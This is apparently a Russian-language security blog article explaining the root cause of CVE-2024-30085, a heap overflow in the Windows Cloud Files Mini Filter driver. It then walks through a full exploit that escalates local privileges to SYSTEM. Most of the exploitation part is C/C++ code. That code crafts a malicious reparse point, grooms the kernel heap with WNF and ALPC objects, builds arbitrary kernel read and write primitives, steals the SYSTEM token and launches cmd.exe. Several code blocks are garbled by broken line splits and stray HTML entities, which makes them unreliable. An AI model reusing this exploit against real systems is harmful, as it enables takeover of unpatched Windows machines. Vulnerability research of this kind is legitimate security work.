Повышаем привилегии в Windows через CVE-2024-30085
CVE-2024-30085 — это уязвимость в подсистеме Windows Cloud Files Mini Filter. Код подсистемы располагается в cldflt.sys — это драйвер минифильтра, и он относится к предустановленному клиенту облачного сервиса Microsoft OneDrive.
Уязвимость фигурировала на прошедшем в Ванкувере Pwn2Own 2024, где команда ресёрчеров Team Theori использовала эксплойт для этой уязвимости в цепочке эксплойтов, осуществляющих Guest-to-Host-Escape (побег из виртуальной машины) из-под управления VMware workstation, за что и получила свои заслуженные 13 очков Master of Pwn.
Соревнования по типу Pwn2Own и Matrix Cup помогают подсветить реально эксплуатируемые уязвимости, эксплойты для которых, как правило, не разглашаются (в результате чего образуется состояние known/unknown, когда известно, что эксплойт есть, но неизвестно, как он работает), и обратить на них особое внимание, ведь за подобными соревнованиями следим не только мы, но и злоумышленники.
В этой статье мы рассмотрим корни уязвимости CVE-2024-30085 и техники эксплуатации, применимые во время эксплуатации кучи в ядре Windows 10 22H2 19045.3803.
Минифильтры
cldflt.sys — это драйвер минифильтра Windows Cloud Files Mini Filter, задача которого представлять хранимые в облаке файлы и папки, как если бы они находились в компьютере.
Если вы никогда не сталкивались с минифильтрами, то вот что они из себя представляют.
Минифильтры на ядерном уровне перехватывают I/O-запросы (IRP-пакеты) к файловой системе и обрабатывают их в соответствии с назначением конкретного фильтра. Вот несколько примеров, какие фильтры могут существовать в системе:
Минифильтры, устанавливаемые антивирусным ПО ( сканируют и проверяют файлы).
Минифильтры, устанавливаемые криптографическими средствами ( шифруют/дешифруют файлы).
Минифильтры облачных хранилищ.
Узнать, какие минифильтры есть в системе, можно через команду fltmc.
Минифильтров много, и каждый I/O-запрос проходит через все фильтры. За порядок вызова отвечает filter manager.
На рисунке ниже вы можете видеть схематическое изображение пути I/O-запроса. Altitude — это приоритет, который определяет очередность вызова фильтров.
Минифильтры регистрируют свои preoperation- и postoperation-колбэки. И когда приходит I/O-запрос, сначала вызываются preoperation-колбэки в порядке A, B, C, а потом postoperation в порядке C, B, A. Таким образом происходит обработка запроса.
Колбэки регистрируются через массив структур FLT_OPERATION_REGISTRATION Callbacks[]. Вот так это выглядит на пример е минифильтра miniSpy:
CONST FLT_OPERATION_REGISTRATION Callbacks[] = {
{ IRP_MJ_CREATE,
0,
SpyPreOperationCallback,
SpyPostOperationCallback },
…Если встретите код минифильтра, колбэки нужно искать в этом массиве.
И когда происходит вызов метода NtCreateFile в каком-нибудь приложении, запрос IRP_MJ_CREATE обрабатывается в SpyPreOperationCallback и SpyPostOperationCallback.
Структуры и методы для создания минифильтров можно найти в fltkernel.h. Еще больше примеров драйверов здесь.
Windows Cloud Files Mini Filter
В драйвере этого минифильтра существовала ошибка CWE-122: Heap-based Buffer Overflow (переполнение на куче), возникающая в результате некорректной проверки данных, поступающих из Reparse Point.
Reparse Point — это буфер, который хранит дополнительную информацию о файле. Что это и зачем нужно, проще всего показать на примере.
Некоторые файлы, которые отображаются в системе, могут и не существовать на самом деле или могут располагаться совсем в другом месте. Самый простой пример — символьные ссылки.
Или, например, в Windows 10 появился механизм, который сжимает системные файлы для экономии места, хотя снаружи они выглядят как обычно. Их извлечением занимается минифильтр Windows Overlay Filter (WOF).
В обоих примерах реальное расположение файла или его представление в сжатом виде хранится в Reparse Point.
Вот так выглядит этот буфер для символьной ссылки.
А Windows Cloud Files Mini Filter использует его для представления файлов, хранимых в облаке, в виде заглушки. Самого файла нет, но информация о нем есть в Reparse Point.
Reparse Point можно создать не только для файлов, но и для папок. Что и будет использоваться для вызова переполнения и эксплуатации.
Root Cause Analysis
Переполнение происходило в результате работы колбэка HsmFltPostCREATE, который обрабатывает Reparse Point созданного файла в облачной папке.
В процессе реверса выяснилось, что структуру Reparse Point для Windows Cloud Files Mini Filter можно описать следующим образом:
typedef struct _ITEM {
WORD Code;
WORD Size;
DWORD Offset;
} ITEM;
typedef struct _REPARSE_CLD_BITMAP {
DWORD Tag;
DWORD Crc32;
DWORD Size;
WORD Flags;
WORD NumBtmpItems;
ITEM Items[0x5];
BYTE ItemBtmpData0;
BYTE ItemBtmpData1;
BYTE ItemBtmpData2;
UINT64 ItemBtmpData3;
BYTE ItemBtmpData4[0x1000];
} REPARSE_CLD_BITMAP, * PREPARSE_CLD_BITMAP;
typedef struct _REPARSE_CLD_BUFFER {
DWORD Tag_pRef;
DWORD Crc32;
DWORD Size;
WORD Reserved;
WORD NumCldItems;
ITEM Items[0xA];
BYTE ItemData0;
DWORD ItemData1;
UINT64 ItemData2;
UINT64 ItemData3;
REPARSE_CLD_BITMAP bitmap0;
REPARSE_CLD_BITMAP bitmap1;
REPARSE_CLD_BITMAP bitmap2;
UINT64 ItemData7;
UINT64 ItemData8;
DWORD ItemData9;
} REPARSE_CLD_BUFFER, *PREPARSE_CLD_BUFFER;
typedef struct _REPARSE_DATA_BUFFER {
DWORD ReparseTag;
WORD ReparseDataLength;
WORD Reserved;
WORD Flags;
WORD UncompressedSize;
REPARSE_CLD_BUFFER ReparseCldBuffer;
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;ReparseCldBuffer.bitmap{1,2,3}ItemBtmpData4ItemBtmpData4ReparseCldBuffer.bitmap{1,2,3}HsmIBitmapNORMALOpen
bitmap_sizeHsmpBitmapIsReparseBufferSupported
bitmap_size bitmap->ItemBtmpData2
Так как битмапов можно сделать до трех, то и переполнений тоже может быть три. Однако для эксплуатации хватит и одного.
Эксплуатация
Подготовка
CfRegisterSyncRoot
#include <cfapi.h>
BOOL RegisterSyncRoot(LPCWSTR dir) {
CF_SYNC_REGISTRATION reg = { 0 };
reg.StructSize = sizeof(reg);
reg.ProviderName = L"t
est"; reg.ProviderVersion
= L"1.0"; reg.ProviderId = { 0xB196E670, 0x59
C7, 0x4D41, { 0 } }; CF_SYNC_POLICI
ES policies = { 0 }; policies.StructSize
= sizeof(policies); policies.HardLink = CF_HARD
LINK_POLICY_ALLOWED; policies.Hydration.Primary = CF_HYDRA
TION_POLICY_PARTIAL; policies.InSync = CF
_INSYNC_POLICY_NONE; policies.Population.Primary = CF_POPULA
TION_POLICY_PARTIAL; NTSTATUS ntRet = CfRegisterSyncRoot(dir, ®, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_
POPULATION_ON_ROOT); if (!
NT_SUCCESS(ntRet)) { printf("[-] CfReg
isterSyncRoot failed\
n&quo
t;); retu
rn false; } return true;}
Через этот метод папка dir подключается к минифильтру. Удобно разместить ее в C:\Users\Public.
CldFlt
HsmFltPostCREATE
void trigger(LPCWSTR dir, BYTE* data, DWORD dataLength) {
ULONG returned;
BOOL status;
HANDLE hOverwrite;
hOverwrite = CreateFileW(
dir,
GENERIC_ALL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
NULL
);
if (FAILED(hOverwrite)) {
printf("[-] trigger failed: CreateFileW
\n&qu
ot;); } status = Device
IoControl( h
Overwrite, FSCTL_SET_REPA
RSE_POINT,
data, d
ataLength,
NULL,
0, &
;returned,
NULL ); if (
!status) { printf("[-] trigger failed: Devic
eIoCo
ntrol\n"); } Clos
eHandle(hOv
erwrite); return;}datadataLength
Теперь приступим к самому интересному: создадим такой Reparse Point, через который повысим привилегии до уровня SYSTEM.
Craft Reparse Point
REPARSE_CLD_BITMAP
typedef struct _WNF_DATA {
UINT32 header;
UINT32 allocated_size;
UINT32 data_size;
UINT32 change_stamp;
} WNF_DATA, * PWNF_DATA;
typedef struct _REPARSE_CLD_BITMAP {
DWORD Tag;
DWORD Crc32;
DWORD Size;
WORD Flags;
WORD NumBtmpItems;
ITEM Items[0x5];
BYTE ItemBtmpData0;
BYTE ItemBtmpData1;
BYTE ItemBtmpData2;
UINT64 ItemBtmpData3;
BYTE ItemBtmpData4[0x1000];
WNF_DATA wnfData;
} REPARSE_CLD_BITMAP, * PREPARSE_CLD_BITMAP;wnfData
ItemBtmpData4
Критерии выбора объектов такие:
Возможность поместить их в блок размером 0x1000, чтобы уложить их рядом с битмапом.
Возможность удалять такие объекты, чтобы создавать в хипе дыры, на которые встанет битмап.
Существование методов для чтения и записи из буферов, которые хранятся внутри этих объектов.
Наш эксплойт использует WNF и ALPC подсистемы.
У них удобное API для размещения в памяти ядра объектов произвольного размера, но у обоих есть разные проблемы с пунктами 2 и 3. Поэтому они идут в связке, чтобы компенсировать недостатки друг друга.
Разберем по отдельности, что такое WNF и ALPC.
WNF (Windows Notification Facility)
WNF — это механизм уведомлений, который реализует схему publisher/subscriber. Одна программа подписывается на какие-нибудь события из другой. Механизм должен был послужить основой для реализации push-уведомлений, аналогичных iOS/Android.
В контексте эксплуатации WNF важен тем, что позволяет создавать объекты произвольного размера в ядре. И через него можно сделать относительные примитивы на чтение/запись, чем мы и воспользуемся.
Больше подробностей на разных ресурсах
https://habr.com/ru/articles/459626/
https://pwnedcoffee.com/blog/wnf-chronicles-i-introduction/
Типы есть в этом репозитории, или их можно нагуглить через запрос 0x41C64E6DA3BC0074.
Создание объектов произвольного размера
std::map<UINT32, ULONG64> g_wnfNames;
UINT32 g_wnfNamesIt = 0;
BOOL WnfCreateChunk() {
ULONG64 ns;
WNF_STATE_NAME_LIFETIME NameLifetime = WnfTemporaryStateName;
WNF_DATA_SCOPE DataScope = WnfDataScopeMachine;
SECURITY_DESCRIPTOR* sd = (SECURITY_DESCRIPTOR*)malloc(sizeof(SECURITY_DESCRIPTOR));
memset(sd, 0, sizeof(SECURITY_DESCRIPTOR));
sd->Revision = 0x1;
sd->Sbz1 = 0;
sd->Control = 0x000000800c;
sd->Owner = NULL;
sd->Group = (PSID)0;
sd->Sacl = (PACL)0;
sd->Dacl = (PACL)0;
UINT32 wnfHeaderSize = 0x10;
UINT32 wnfChunkSize = 0x1000;
UINT32 wnfDataSize = wnfChunkSize - wnfHeaderSize;
std::vector<UINT8> buf;
buf.reserve(wnfDataSize);
INT32 r1 = 0, r2 = 0;
r1 = _NtCreateWnfStateName(&ns, WnfTemporaryStateName, WnfDataScopeUser, FALSE, 0, 0x1000, sd);
r2 = _NtUpdateWnfStateData(&ns, buf.data(), wnfDataSize, 0, NULL, 0, 0);
g_wnfNames[g_wnfNamesIt++] = ns;
if (r1 != 0 || r2 != 0) {
printf("[-] wnfCreateChunk failed with codes r1: %lx, r2: %lx\n"
, r1, r2); ret
ur
n
false; } re
turn true;}
WNF_NAME_INSTANCE g_wnfNames
WNF_NAME_INSTANCE 0xa8WNF_STATE_DATA
Относительные примитивы
AllocatedSizeDataSize
Переполнив их, появляется возможность читать и писать за пределами массива Data. Но есть минус: писать можно только за ним и не больше чем 0x1000 байт.
WNF_STATE_DATAWNF_NAME_INSTANCEg_wnfNames
А ограниченные примитивы на чтение и запись выглядят так:
BOOL WnfRelativeRead(INT32 wnfCorrupted, UINT8* buf, ULONG* bufSz) {
WNF_CHANGE_STAMP stamp = 0;
INT32 r = _NtQueryWnfStateData(&(wnfNames[wnfCorrupted]), NULL, NULL, &stamp, buf, bufSz);
return r == 0;
}
BOOL WnfRelativeWrite(INT32 wnfCorrupted, UINT8* buf, ULONG bufSz) {
INT32 r = _NtUpdateWnfStateData(&(wnfNames[wnfCorrupted]), buf, bufSz, 0, NULL, 0, 0);
return r == 0;
}wnfCorruptedWNF_NAME_INSTANCEWNF_STATE_DATA
Чтобы выяснить, какой объект из массива нужный, надо воспользоваться кодом:
INT32 WnfFindCorruptedName(UINT32 wnfNamesCount) {
WNF_CHANGE_STAMP stamp = 0;
ULONG legitBufSize = 0xff0;
ULONG delta = 0x1;
ULONG overflowenBufSize = legitBufSize + delta;
UINT32 status = 0;
std::vector<UINT8> buf;
buf.reserve(overflowenBufSize);
for (UINT32 i = 0; i < wnfNamesCount; i++) {
if (!wnfNames[i]) {
continue;
}
status = _NtQueryWnfStateData(&(wnfNames[i]), NULL, NULL, &stamp, buf.data(), &overflowenBufSize);
overflowenBufSize = legitBufSize + delta;
if (status == BUFFER_TOO_SMALL) {
return i;
}
}
return -1;
}NtQueryWnfStateDataWNF_STATE_DATA.DataExpWnfReadStateDataNtQueryWnfStateDataWNF_STATE_DATA.Data
WNF_NAME_INSTANCEWNF_STATE_DATA.Data
WNF_STATE_DATAWNF_STATE_DATA
WNF_STATE_DATA.DataSize
Удаление объектов
Удаляются объекты через функцию _NtDeleteWnfStateData:
BOOL WnfDeleteChunk(UINT32 wnfNameIndex) {
ULONG32 r = _NtDeleteWnfStateData(&(wnfNames[wnfNameIndex]), NULL);
if (r != 0) {
printf("[-] wnfDeleteChunk r: %llx, wnf_name_index: %d\n", r, wnfN
ameIndex); ret
ur
n false; } wnfNames[wnfNameInd
ex] = 0x0; re
turn true;}Таким образом, через WNF можно:
WNF_STATE_DATA
WNF_STATE_DATA.Data
Удобно удалять объекты.
Это все понадобится, чтобы добраться до объектов ALPC и сделать полноценные примитивы на чтение и запись.
ALPC (Asynchronous Local Procedure Call)
ALPC — это механизм межпроцессного взаимодействия, пришедший на смену LPC. Он недокументированный и не предназначен для использования в разработке. Однако он разобран энтузиастами и обладает интересными возможностями, которые помогают эксплуатировать ядерные уязвимости.
Большая часть кода по работе с ALPC взята нами из работы Нассима Асрира CVE-2023-36424. Все необходимые типы лежат там. Там также есть код, через который можно слить адреса ядерной памяти.
Подробный разбор про сам ALPC есть, например, здесь:
https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html
В этой статье коснемся только основных особенностей. Снова про создание объектов произвольного размера и примитивы.
Создание объектов произвольного размера
Главные объекты ALPC — это порты, по поведению похожие на сокеты. В ядерном пространстве располагается порт соединения, и он связывает клиентский порт с серверным для их коммуникации.
У серверного порта внутри есть таблица для входящих и исходящих сообщений.
ALPC_HANDLE_ENTRY
NtAlpcSendWaitReceivePort
И у ALPC есть огромный плюс — хэндл может быть из userspace, что очень удобно.
_KALPC_RESERVE_ALPC_HANDLE_ENTRY
Серверный порт создается так:
BOOL CreateALPCPort(HANDLE* phPorts, UINT portIndex) {
ALPC_PORT_ATTRIBUTES serverPortAttr;
OBJECT_ATTRIBUTES oaPort;
HANDLE hPort;
NTSTATUS ntRet;
UNICODE_STRING usPortName;
WCHAR wszPortName[64];
swprintf_s(wszPortName, sizeof(wszPortName) / sizeof(WCHAR), L"\\RPC Control\\%s%d", g_wszPortPrefix, p
ortIndex); RtlInitUnicodeString(&usPortName, wsz
PortName); InitializeObjectAttributes(&oaPort, &usPortName,
0, 0, 0); RtlSecureZeroMemory(&serverPortAttr, sizeof(serverP
ortAttr)); serverPortAttr.MaxMessageLength = MA
X_MSG_LEN; ntRet = NtAlpcCreatePort(&phPorts[portIndex], &oaPort, &server
PortAttr); if (!NT_SUCCE
SS(ntRet)) ret
urn FALSE; re
turn TRUE;}NtAlpcCreatePort
wszPortName
_ALPC_HANDLE_ENTRY
BOOL AllocateALPCReserveHandle(HANDLE* phPorts, UINT portIndex, UINT reservesCount) {
HANDLE hPort;
HANDLE hResource;
NTSTATUS ntRet;
hPort = phPorts[portIndex];
for (UINT j = 0; j < reservesCount; j++) {
ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, &hResource);
if (!NT_SUCCESS(ntRet)) {
printf("[-] AllocateALPCReserveHandle failed with %lx code\n"
;, ntRet); ret
urn
FALSE; } if (g_hResource == NULL) { // save only the
very first g_hResource =
hRe
so
urce; } } re
t
urn TRUE;}BOOL AlpcCreateChunk(UINT32 por
t_index) {
BOOL bRet; bRet = CreateALPCPort(gports, po
rt_index); if
(!bRet) { printf("[-] CreateALPCPo
rts failed\n&qu
ot
;); return false; } CONST ULONG po
olAlHaSize = 0x1000; CONST ULONG reservesCount = (poolAlHaSize / 2) / si
zeof(ULONG_PTR) + 1; bRet = AllocateALPCReserveHandle(gports, port_in
dex, reserves
Count); if (!bRet) { printf("[-] AllocateALPC
ReserveHandle f
ai
led\n");
return false; } return true;}/ 2 /sizeof(ULONG_PTR)
Полноценный примитив на запись
_ALPC_HANDLE_ENTRY
Тогда примитив на запись будет выглядеть так:
KALPC_RESERVE* gfakeKalpcReserve;
KALPC_MESSAGE* gfakeKalpcMessage;
BYTE* gfakeKalpcReserveObject;
BYTE* gfakeKalpcMessageObject;
BYTE* AlpcGetFakeMessage() {
return (BYTE*)gfakeKalpcReserve;
}
void AlpcMakeFakeMessage() {
gfakeKalpcReserveObject = (BYTE*)calloc(1, sizeof(KALPC_RESERVE) + 0x20);
gfakeKalpcMessageObject = (BYTE*)calloc(1, sizeof(KALPC_MESSAGE) + 0x20);
gfakeKalpcReserve = (KALPC_RESERVE*)(gfakeKalpcReserveObject + 0x20);
gfakeKalpcMessage = (KALPC_MESSAGE*)(gfakeKalpcMessageObject + 0x20);
gfakeKalpcReserveObject[1] = 0x7;
gfakeKalpcReserveObject[8] = 0x1;
gfakeKalpcMessageObject[8] = 0x1;
gfakeKalpcReserve->Size = 0x28;
gfakeKalpcReserve->Message = gfakeKalpcMessage;
gfakeKalpcMessage->Reserve = gfakeKalpcReserve;
galpcMessage = (ALPC_MESSAGE*)calloc(1, sizeof(ALPC_MESSAGE));
}
BOOL AlpcArbitraryWrite(UINT32 portsCount, BYTE* addr, BYTE* buf, UINT32 bufSz) {
NTSTATUS ntRet;
memset(gfakeKalpcReserveObject, 0, sizeof(KALPC_RESERVE) + 0x20);
memset(gfakeKalpcMessageObject, 0, sizeof(KALPC_MESSAGE) + 0x20);
gfakeKalpcReserveObject[1] = 0x7;
gfakeKalpcReserveObject[8] = 0x1;
gfakeKalpcMessageObject[8] = 0x1;
gfakeKalpcReserve->Size = 0x28;
gfakeKalpcReserve->Message = gfakeKalpcMessage;
gfakeKalpcMessage->Reserve = gfakeKalpcReserve;
gfakeKalpcMessage->ExtensionBuffer = addr;
gfakeKalpcMessage->ExtensionBufferSize = bufSz;
ULONG DataLength = bufSz;
memset(galpcMessage, 0, sizeof(ALPC_MESSAGE));
galpcMessage->PortHeader.u1.s1.DataLength = DataLength;
galpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
galpcMessage->PortHeader.MessageId = (ULONG)g_hResource;
ULONG_PTR* pAlpcMsgData = (ULONG_PTR*)((BYTE*)galpcMessage + sizeof(PORT_MESSAGE));
memcpy(pAlpcMsgData, buf, bufSz);
for (int i = 0; i < portsCount; i++) {
ntRet = NtAlpcSendWaitReceivePort(gports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE)galpcMessage, NULL, NULL, NULL, NULL, NULL);
}
return true;
}
NtAlpcSendWaitReceivePort
Полноценный примитив на чтение
NtAlpcSendWaitReceivePort
BOOL AlpcArbitraryRead(UINT32 portsCount, ULONG_PTR pipeAttributeAddr, ULONG_PTR addr, BYTE* buf, UINT32 bufSz) {
BOOL bRet;
CHAR pipeName[] = "
xxx"; UINT32 pipeValueOffs
et = 0x20; ULONG_PTR pipeValueAddr = pipeAttributeAddr + pipeVa
lueOffset; ULONG_PTR* payload = (ULONG_PTR*)cal
loc(2, 8); payload[
0] = addr; payload[1] = 0x00787878;
//xxx\x00 if (!AlpcArbitraryWrite(portsCount, (BYTE*)pipeValueAddr, (BYTE*)payload
, 0x10)) { printf("[-] AlpcArbitraryRead failed: AlpcArbi
traryWrite\n"
;)
; //return false; } bRet = PipeReadAttr(pi
peName, buf,
bufSz); if (!bRet) { printf("[-] AlpcArbitraryRead
failed: PipeRea
dA
ttr\n");
return false; } return true;}Схема такая:
Создается пайп с атрибутом.
Адрес значения атрибута подменяется на свой адрес.
Читая атрибут, в ответ получаем содержание адреса.
А выяснить, по какому адресу лежит пайп, можно через утечку.
ALPC очень удобный механизм, но у него нет такого же удобного способа удалять объекты, как у WNF, а без этого не подготовить память так, чтобы проэксплуатировать ее. Поэтому используется связка WNF + ALPC. WNF — это посредник, чтобы добраться до ALPC ради его интересных качеств.
LPE
Чтобы разместить битмап, WNF и ALPC рядом и не позволить рандомизации помешать этому, воспользуемся алгоритмом:
WNF_STATE_DATAALPC_HANDLE_ENTRY
WNF_STATE_DATA
Размещаем битмап, который должен будет встать на одно из освободившихся мест.
Таким образом, все объекты с большой долей вероятности будут расположены рядом.
_WNF_STATE_DATA_ALPC_HANDLE_ENTRY
В коде это выглядит так:
UINT32 portsCount = 5000;
UINT32 I;
for (i = 0; i < portsCount; i++) {
if (!WnfCreateChunk())
break;
if (!WnfCreateChunk())
break;
if (!AlpcCreateChunk(i))
break;
}
printf("[*] Created %d chunks\n&
quot;, i);if (i != por
tsCount) { printf("[-] Creating chunks
are failed\n&q
u
ot;); return
-1;}// create holesfor (UINT32 i = 4000; i < p
ortsCount; i += 2) { if (!
WnfDeleteChunk(i))
{
return -1; }}
Правильно заполненный Reparse Point выглядит так:
void createReparsePoint(PREPARSE_DATA_BUFFER pReparseDataBuffer, size_t ReparseDataBufferLength) {
pReparseDataBuffer->ReparseTag = 0x9000301a;
pReparseDataBuffer->ReparseDataLength = ReparseDataBufferLength - sizeof(DWORD) - 2 * sizeof(WORD);
pReparseDataBuffer->Reserved = 0x00;
pReparseDataBuffer->Flags = 0x1;
pReparseDataBuffer->UncompressedSize = 0xAA; // no matter
PREPARSE_CLD_BUFFER pReparseCldBuffer = &pReparseDataBuffer->ReparseCldBuffer;
pReparseCldBuffer->Tag_pRef = 0x70526546;
pReparseCldBuffer->Size = pReparseDataBuffer->ReparseDataLength - 2 * sizeof(WORD);
pReparseCldBuffer->Reserved = 0x2;
pReparseCldBuffer->NumCldItems = 0xa;
pReparseCldBuffer->Items[0].Code = 0x7;
pReparseCldBuffer->Items[0].Size = 0x1;
pReparseCldBuffer->Items[0].Offset = (BYTE*)&pReparseCldBuffer->ItemData0 - (BYTE*)&pReparseCldBuffer->Tag_pRef;
pReparseCldBuffer->Items[1].Code = 0xa;
pReparseCldBuffer->Items[1].Size = 0x4;
pReparseCldBuffer->Items[1].Offset = pReparseCldBuffer->Items[0].Offset + pReparseCldBuffer->Items[0].Size;
pReparseCldBuffer->Items[2].Code = 0x6;
pReparseCldBuffer->Items[2].Size = 0x8;
pReparseCldBuffer->Items[2].Offset = pReparseCldBuffer->Items[1].Offset + pReparseCldBuffer->Items[1].Size;
pReparseCldBuffer->Items[3].Code = 0x11;
pReparseCldBuffer->Items[3].Size = 0x8;
pReparseCldBuffer->Items[3].Offset = pReparseCldBuffer->Items[2].Offset + pReparseCldBuffer->Items[2].Size;
pReparseCldBuffer->Items[4].Code = 0x11;
pReparseCldBuffer->Items[4].Size = sizeof(REPARSE_CLD_BITMAP);
pReparseCldBuffer->Items[4].Offset = pReparseCldBuffer->Items[3].Offset + pReparseCldBuffer->Items[3].Size;
pReparseCldBuffer->Items[5].Code = 0x11-1;
pReparseCldBuffer->Items[5].Size = sizeof(REPARSE_CLD_BITMAP);
pReparseCldBuffer->Items[5].Offset = pReparseCldBuffer->Items[4].Offset + pReparseCldBuffer->Items[4].Size;
pReparseCldBuffer->Items[6].Code = 0x11-1;
pReparseCldBuffer->Items[6].Size = sizeof(REPARSE_CLD_BITMAP);
pReparseCldBuffer->Items[6].Offset = pReparseCldBuffer->Items[5].Offset + pReparseCldBuffer->Items[5].Size;
pReparseCldBuffer->Items[7].Code = 0x6;
pReparseCldBuffer->Items[7].Size = 0x8;
pReparseCldBuffer->Items[7].Offset = pReparseCldBuffer->Items[6].Offset + pReparseCldBuffer->Items[6].Size;
pReparseCldBuffer->Items[8].Code = 0x6;
pReparseCldBuffer->Items[8].Size = 0x8;
pReparseCldBuffer->Items[8].Offset = pReparseCldBuffer->Items[7].Offset + pReparseCldBuffer->Items[7].Size;
pReparseCldBuffer->Items[9].Code = 0xa;
pReparseCldBuffer->Items[9].Size = 0x4;
pReparseCldBuffer->Items[9].Offset = pReparseCldBuffer->Items[8].Offset + pReparseCldBuffer->Items[8].Size;
pReparseCldBuffer->ItemData0 = 0x0; // <=1
pReparseCldBuffer->ItemData1 = 0xffffffe5;
pReparseCldBuffer->ItemData2 = 0xeeeeeeeeeeeeeee1; // no matter
pReparseCldBuffer->ItemData3 = 0xbbbbbbbbbbbbbbbb; // no matter
pReparseCldBuffer->ItemData7 = 0xffffffffffffffff; // no matter
pReparseCldBuffer->ItemData8 = 0xdddddddddddddddd; // no matter
pReparseCldBuffer->ItemData9 = 0x33333333; // no matter
}
void createBitmap(PREPARSE_CLD_BITMAP bitmap) {
bitmap->Tag = 0x70527442;
bitmap->Size = sizeof(REPARSE_CLD_BITMAP);
bitmap->Flags = 0x2;
bitmap->NumBtmpItems = 0x5;
bitmap->Items[0].Code = 0x7;
bitmap->Items[0].Size = 0x1;
bitmap->Items[0].Offset = (BYTE*)&bitmap->ItemBtmpData0 - (BYTE*)&bitmap->Tag;
bitmap->Items[1].Code = 0x7;
bitmap->Items[1].Size = 0x1;
bitmap->Items[1].Offset = bitmap->Items[0].Offset + bitmap->Items[0].Size;
bitmap->Items[2].Code = 0x7;
bitmap->Items[2].Size = 0x1;
bitmap->Items[2].Offset = bitmap->Items[1].Offset + bitmap->Items[1].Size;
bitmap->Items[3].Code = 0x6;
bitmap->Items[3].Size = 0x8;
bitmap->Items[3].Offset = bitmap->Items[2].Offset + bitmap->Items[2].Size;
bitmap->Items[4].Code = 0x11;
bitmap->Items[4].Offset = bitmap->Items[3].Offset + bitmap->Items[3].Size;
bitmap->Items[4].Size = sizeof(REPARSE_CLD_BITMAP) - bitmap->Items[4].Offset;
bitmap->ItemBtmpData0 = 0x1; // <= 1
bitmap->ItemBtmpData1 = 0x13; // <= 0x13
bitmap->ItemBtmpData2 = 0x0; // = 0
bitmap->ItemBtmpData3 = 0xdddddddddddddddd; // no matter
bitmap->wnfData.header = 0x00100904;
bitmap->wnfData.allocated_size = 0x2000;
bitmap->wnfData.data_size = 0xff0 + 0x10; // 0xff0 - legit Wnf data size 0x10 - overflow
bitmap->wnfData.change_stamp = 0x1;
bitmap->Crc32 = RtlComputeCrc32(0, (BYTE*)(&bitmap->Size), sizeof(REPARSE_CLD_BITMAP) - 0x8);
}
DWORD ReparseDataBufferLength = 0x4000;
PREPARSE_DATA_BUFFER pReparseDataBuffer = (PREPARSE_DATA_BUFFER)calloc(ReparseDataBufferLength, 1);
memset(pReparseDataBuffer, 0x0, ReparseDataBufferLength);
createReparsePoint(pReparseDataBuffer, ReparseDataBufferLength);
PREPARSE_CLD_BUFFER pReparseCldBuffer = &pReparseDataBuffer->ReparseCldBuffer;
PREPARSE_CLD_BITMAP bitmap0 = (PREPARSE_CLD_BITMAP)&pReparseCldBuffer->bitmap0;
createBitmap(bitmap0);
pReparseCldBuffer->Crc32 = RtlComputeCrc32(0, (BYTE*)(&pReparseCldBuffer->Size), ReparseDataBufferLength - 0x14);Триггерим переполнение:
trigger(dir, (BYTE*)pReparseDataBuffer, ReparseDataBufferLength);
RemoveDirectoryW(dir);
std::this_thread::sleep_for(std::chrono::seconds(60));
dir
_WNF_NAME_INSTANCE
INT32 wnfCorruptedNameIndex = WnfFindCorruptedName(portsCount);
if (wnfCorruptedNameIndex == -1) {
printf("[-] Corrupted Wnf are not found
\n");
r
eturn -1;}printf("[+] Found corrupted Wnf at index %d\n", wnfCorruptedNameIndex);
_ALPC_HANDLE_ENTRY
BYTE* fakeReserve = AlpcGetFakeMessage();
UINT32 wnfOriginalDataSize = 0xff0;
std::vector<UINT8> corruptAlpc;
UINT32 corruptAlpcSize = wnfOriginalDataSize + 0x8; // overflow one handle ptr
corruptAlpc.reserve(corruptAlpcSize);
memset(corruptAlpc.data(), 'W', wnfOriginal
DataSize);*((BYTE**)(corruptAlpc.data() + wnfOriginalDataSize)) = fa
keReserve;// corrupt A
lpc handleif (!WnfRelativeWrite(wnfCorruptedNameIndex, corruptAlpc.data(), corruptAl
pcSize)) { printf("[-] wnfRelativeWr
ite failed\n&q
uot;); return -1;}
И применяем технику Token Stealing в финале:
// read system token
BYTE* outputData = (BYTE*)calloc(1, 0x1000);
AlpcArbitraryRead(portsCount, pipeAttributeAddr, systemEPROCaddr, outputData, 0x1000);
ULONG tokenOffset = 0x4b8;
ULONG_PTR systemTtoken = *(ULONG_PTR*)(outputData + tokenOffset);
if (!systemTtoken) {
printf("[-] System TOKEN are not found
\n");
r
eturn -1;}printf("[+] System TOKEN: %p\n&q
uot;, systemTtoken);ULONG_PTR targetToken = EPRO
Caddr + tokenOffset;ULONG_PTR* payload = (ULONG_
PTR*)calloc(1, 0x8);payloa
d[0] = systemTtoken;// replace target tok
en with system tokenBOOL bRetNoMatter = AlpcArbitraryWrite(portsCount, (BYTE*)targetToken, (BYTE*)payload, 0x8); // returns false, but wri
tting actually worksSTARTUPINFO
StartupInfo = { 0 };PROCESS_INFORMATION Process
Information = { 0 };BOOL b
Ret = CreateProcess( "C:\\Win
dows\\Sys
tem32\\cm
d.exe&quo
t;, NUL
L, NULL, NULL,
FALSE,
CREATE_
NEW_CONSOLE, NULL,
NULL, &StartupIn
fo
, &Pr
ocessInformation);if (!bRet) { printf("[-] Failed to Create Target
Process: 0x%X
\n", GetLastError()); return -1;}
NtQuerySystemInformation
Результат
В результате, используя уязвимость CVE-2024-30085 в драйвере Windows Cloud Files Mini Filter и связку WNF + ALPC, мы создали примитивы на чтение и запись в ядерную память. Благодаря чему, украли системный токен и запустили терминал с правами NT AUTHORITY\SYSTEM.
Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите личной информации в интернете. Авторы не несут ответственности за использование опубликованной информации. Помните, что нужно следить за защищенностью своих данных.
